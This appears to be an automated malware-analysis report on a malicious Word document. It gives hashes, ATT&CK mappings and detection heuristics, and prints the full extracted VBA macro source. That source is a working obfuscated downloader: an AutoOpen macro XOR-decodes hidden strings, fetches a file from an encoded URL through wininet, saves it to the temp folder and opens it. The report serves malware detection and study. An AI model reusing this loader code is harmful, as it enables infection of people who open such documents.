Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24aff09953c8301e…

MALICIOUS

Office (OLE)

91.5 KB Created: 2015-01-19 17:07:00 Authoring application: Microsoft Office Word First seen: 2015-04-05
MD5: d076f3b4de17a68b79b9fa79349fca70 SHA-1: 9bfa2ddd8502ce5c8b0671677ece69e453a78016 SHA-256: 24aff09953c8301e82217137001b9ed45a84a3f3a04d6ce1a875d2d36eb275fb
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics indicate a loader designed to execute code, likely to download and run a second-stage payload. The presence of an 'autoopen' macro and the ClamAV detection further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set FSOOO2 = CreateObject(AkapulkoAYAYAY(vjf788eS, Mcdsef42))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FSOOO2 = CreateObject(AkapulkoAYAYAY(vjf788eS, Mcdsef42))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10099 bytes
SHA-256: 7d00aaf4b46e6cd34cd4a350f6ce38bc58b493b3fb688eba1867eaf69066f874
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
ascascascasc
End Sub

Attribute VB_Name = "Module4"
Private Sub RIVgO()
GoTo wefwefwefwefewf
wefwefwefwefewf:
GoTo REREGsssssgvfrgrg
REREGsssssgvfrgrg:
GoTo ENNEIKISKKKK7
ENNEIKISKKKK7:
GoTo ENNEIKISKKKK71
ENNEIKISKKKK71:
GoTo ENNEIKISKKKK72
ENNEIKISKKKK72:
GoTo ULLLLLAKhhwshefg
ULLLLLAKhhwshefg:

End Sub
Public Function AkapulkoAYAYAY(asasas1oO1 As String, asasas1oO As String) As String
    Dim asasas1 As Long
    Dim asasas1O As String
    Dim asasas10 As Integer
    
    Dim Zhhhzhhz As Integer
For Zhhhzhhz = 0 To 0
If Zhhhzhhz = 5 Then End
Next Zhhhzhhz
    
    Dim asasas101 As Integer
    Dim sdsssss As Integer
For sdsssss = 0 To 0
If sdsssss = 8 Then End
Next sdsssss
    For asasas1 = 1 To (Len(asasas1oO) / 2)
        asasas10 = Val("&H" & (Mid$(asasas1oO, (2 * asasas1) - 1, 2)))
        asasas101 = Asc(Mid$(asasas1oO1, ((asasas1 Mod Len(asasas1oO1)) + 1), 1))
        Dim Happlik As Integer
        For Happlik = 0 To 0
        If Happlik = 4 Then End
        Next Happlik
        asasas1O = asasas1O + Chr(asasas10 Xor asasas101)
    Next asasas1
   AkapulkoAYAYAY = asasas1O
End Function

Private Sub IHYbeVuJC()
GoTo ULLLLLAKhhwshefg1
ULLLLLAKhhwshefg1:
GoTo ULLLLLAKhhwshefg2
ULLLLLAKhhwshefg2:
GoTo osumLbSDlnHkpCzivUUw
osumLbSDlnHkpCzivUUw:
GoTo tNsQiIjuoGpSqlOQxDQfTz
tNsQiIjuoGpSqlOQxDQfTz:
GoTo uykoEux
uykoEux:
GoTo rVTBqKArFPEEEEEyylmMVi
rVTBqKArFPEEEEEyylmMVi:
GoTo IhzKeee22zw
IhzKeee22zw:
GoTo IhzKeee22333zw
IhzKeee22333zw:
GoTo IhzKeee22333444zw
IhzKeee22333444zw:

End Sub

Attribute VB_Name = "Module11"
Private Const GRxvSG = "313B242020617545475D2B013235252321"
Private Const jryj = "3E322A203F265A5404036C072B24"
Private Const sdioph34 = "0A27353C76601B50545A374C30232D623F581A5D426D003A2F62293751"
Private Const Mcdsef42 = "313033253C3B5D5B501F040B3F241F353C40505A7E2008362238"
Private Const vjf788eS = "BbSALLO4571"






Sub ascascascasc()
Dim FSOOO2
Dim sder53dfbhRF As Integer
For sder53dfbhRF = 0 To 0
If sder53dfbhRF = 5 Then End
Next sder53dfbhRF
Set FSOOO2 = CreateObject(AkapulkoAYAYAY(vjf788eS, Mcdsef42))
Dim fffffF
Const fffffFID = 2
Dim DdDd22A As Integer
For DdDd22A = 0 To 0
If DdDd22A = 5 Then End
Next DdDd22A
Set fffffF = FSOOO2.GetSpecialFolder(fffffFID)
Dim Ee11 As Integer
For Ee11 = 0 To 0
If Ee11 = 5 Then End
Next Ee11
EdEdE111 = fffffF & AkapulkoAYAYAY(vjf788eS, jryj)
Dim sil3489df As Integer
For sil3489df = 0 To 0
If sil3489df = 5 Then End
Next sil3489df
Set FSObject2 = CreateObject(AkapulkoAYAYAY(vjf788eS, Mcdsef42))
Dim seswwwsa As Integer
For seswwwsa = 0 To 0
If seswwwsa = 5 Then End
Next seswwwsa
If FSObject2.FileExists(EdEdE111) Then
FSObject2.DeleteFile EdEdE111
End If
If IGetOVER1231(AkapulkoAYAYAY(vjf788eS, sdioph34), EdEdE111) Then
End If
Set SSSS = Nothing
If FSObject2.FileExists(EdEdE111) Then
End If
Set SASASA = CreateObject(AkapulkoAYAYAY(vjf788eS, GRxvSG))
SASASA.Open EdEdE111
End Sub






Attribute VB_Name = "Module1"

Public Sub PkDxnSccbg()

End Sub
Private Sub IHYbeVuJC()
GoTo TZmwRfSEgCdKcNRsSeYqnJf
TZmwRfSEgCdKcNRsSeYqnJf:
GoTo sDUkFsCaUyA
sDUkFsCaUyA:
GoTo GODjstrwTahLZosumLbSDlnHkpCzivUUw
GODjstrwTahLZosumLbSDlnHkpCzivUUw:
GoTo tNsQiIjuoGpMwGMIUlHJSqlOQxDQfTz
tNsQiIjuoGpMwGMIUlHJSqlOQxDQfTz:
GoTo uykqyOpoEux
uykqyOpoEux:
GoTo rVTBqKArFPyylmMVi
rVTBqKArFPyylmMVi:
GoTo IhzKzw
IhzKzw:
GoTo FdMQdZlBCYajGoQNTnvkPL
FdMQdZlBCYajGoQNTnvkPL:
GoTo PAtAfFrHKNFeHmVR
PAtAfFrHKNFeHmVR:

End Sub
Private Sub RIVgO()
GoTo myMuLxBcPMGZVtOntBESoqzJEi
myMuLxBcPMGZVtOntBESoqzJEi:
GoTo kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd
kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd:
GoTo NRsSeqnJfEwsDUkFsCaUyAhAG
NRsSeqnJfEwsDUkFsCaUyAhAG:
GoTo jstrwTahLZYosuLbSDlnHk
jstrwTahLZYosuLbSDlnHk:
GoTo zivUUwERtNsQiIuoGpMwG
zivUUwERtNsQiIuoGpMwG:
GoTo UlAHJSqlOQxDQfT
UlAHJSqlOQxDQfT:

End Sub
Private Sub vuykqyOpo()
GoTo NrVTBqKAr
NrVTBqKAr:
GoTo yylmMViKeIhzKzwqIFMQdZlBwyHfL
yylmMViKeIhzKzwqIFMQdZlBwyHfL:
GoTo msLTIokkjoZRZD
msLTIokkjoZRZD:
GoTo gjmeCgKuqfzqguEnn
gjmeCgKuqfzqguEnn:
GoTo oKQlSkVaAolfxuRnL
oKQlSkVaAolfxuRnL:

End Sub
Public Function adrMOYidGVoIc()
GoTo AzEpipThgwzCu
AzEpipThgwzCu:
GoTo bKtvPsx
bKtvPsx:
GoTo qDrdEbaBjAmqQqBvNLi
qDrdEbaBjAmqQqBvNLi:
GoTo UQctH
UQctH:
GoTo bytQYEZemcHQRPUsyF
bytQYEZemcHQRPUsyF:
GoTo wMPSKkyrcJLg
wMPSKkyrcJLg:
GoTo bYGTttUdqRmQpGhHS
bYGTttUdqRmQpGhHS:

End Function
Public Function Nk3Tflh()
GoTo irOJnpV
irOJnpV:
GoTo DsYTTRQIOVn
DsYTTRQIOVn:
GoTo dSVNmPusaOjZPeoQQ
dSVNmPusaOjZPeoQQ:
GoTo luGiChFYjYUOheBl
luGiChFYjYUOheBl:
GoTo xJabwyHfLpFms
xJabwyHfLpFms:
GoTo IokkjoZRZDePgjmeCgK
IokkjoZRZDePgjmeCgK:
GoTo fzqguEnnaM
fzqguEnnaM:

End Function
Private Function QlSkVaAo85668lfxu()

End Function
Public Function Nad121112rMOYidGVoI6c()
GoTo AzEpipThgwzCuibKtvPsxKUqDrdEbaBj
AzEpipThgwzCuibKtvPsxKUqDrdEbaBj:
GoTo qQqBvNLi
qQqBvNLi:
GoTo UQctHQbytQY
UQctHQbytQY:
GoTo emcHQRPUsyFkxwMPSKky
emcHQRPUsyFkxwMPSKky:
GoTo JLgIN
JLgIN:
GoTo GTttUdqRmQpGhHSMfNkT
GTttUdqRmQpGhHSMfNkT:
GoTo hsJZgirO
hsJZgirO:

End Function
Public Function pVcssdssvDsY()
GoTo IOVnNMdSVNmPusaOjZPe
IOVnNMdSVNmPusaOjZPe:
GoTo QJJluGiChFYjY1111UOheBlv
QJJluGiChFYjY1111UOheBlv:
GoTo JabwyHfLpFms
JabwyHfLpFms:
GoTo IokkjoZRZDePgjmeCgKqfzqg34353uEnnaM
IokkjoZRZDePgjmeCgKqfzqg34353uEnnaM:
GoTo QlSkVaAolfxuRnLR
QlSkVaAolfxuRnLR:
GoTo drMOY
drMOY:
GoTo GVoIc
GVoIc:
GoTo rAAzEpipThgwzCuS
rAAzEpipThgwzCuS:
GoTo KtvPs
KtvPs:

End Function
Private Function UqDrdEbaBjAm()

End Function
Private Function vNLiDcUQctH()

End Function
Public Sub tQYEZemcHQ()

End Sub
Public Function yFkxwMPS()
GoTo cJLgIsssssNbYGT
cJLgIsssssNbYGT:
GoTo UdS33434qRmQpGhHS
UdS33434qRmQpGhHS:
GoTo NkTflaaAAaaAAhJZgirOJnpV
NkTflaaAAaaAAhJZgirOJnpV:

End Function
Public Function DsYTTRQIO()

End Function
Public Function dSVVVVVVVNmPusaOjZP()
GoTo sdss
sdss:
GoTo sdvsSVEWEFsdsgEGWEG
sdvsSVEWEFsdsgEGWEG:
GoTo oZRZDeP
oZRZDeP:
GoTo meCgKuqf
meCgKuqf:

End Function
Private Function gssSSSuEnnaMo()

End Function
Private Sub SDFVSDDDDDDDDDF()

End Sub
Public Sub OYidGVvsdvsdvoIcVLrA()

End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{F6C29BAA-3596-4804-9B06-A2F499AE13DD}{D5C1C1BE-CB9A-4678-A5D4-D2FB8028A558}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module3"
Option Explicit

#If VBA7 And Win64 Then
Private Declare PtrSafe Function figal1221 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Private Declare PtrSafe Function lastSm23 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Private Declare PtrSafe Function feefeROZ Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As LongPtr, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare PtrSafe Function hlopa3r3 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Private Declare Function figal1221 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Private Declare Function lastSm23 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function feefeROZ Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As Long, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function hlopa3r3 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If

Private Const MBL = 8162
Private Const AAN As String = "Protec"
Private Const IOTD = 1
Private Const IFNCW = &H4000000
Public Function IGetOVER1231(ByVal sURL As String, ByVal sFileName As String) As Boolean
    #If VBA7 And Win64 Then
        Dim hOpen As LongPtr, hFile As LongPtr
    #Else
        Dim hOpen As Long, hFile As Long
    #End If
    Dim Ret As Long
    Dim sBuff As String * MBL, sData As String
    Dim iFile As Integer, dData As Double
    hOpen = lastSm23(AAN, IOTD, vbNullString, vbNullString, 0)
    If hOpen = 0 Then
        Exit Function
    End If
    hFile = hlopa3r3(hOpen, sURL, vbNullString, 0, IFNCW, 0)
    If hFile = 0 Then
        dData = 0
    Else
        feefeROZ hFile, sBuff, MBL, Ret
        sData = sBuff
        Do While Ret <> 0
            feefeROZ hFile, sBuff, MBL, Ret
            sData = sData + Mid(sBuff, 1, Ret)
        Loop
        dData = Len(sData): iFile = FreeFile
        Open sFileName For Binary Access Write Lock Write As #iFile
        Put #iFile, , sData: Close #iFile
    End If
    figal1221 hFile
    figal1221 hOpen
    sData = ""
    If dData Then
        IGetOVER1231 = True
    End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.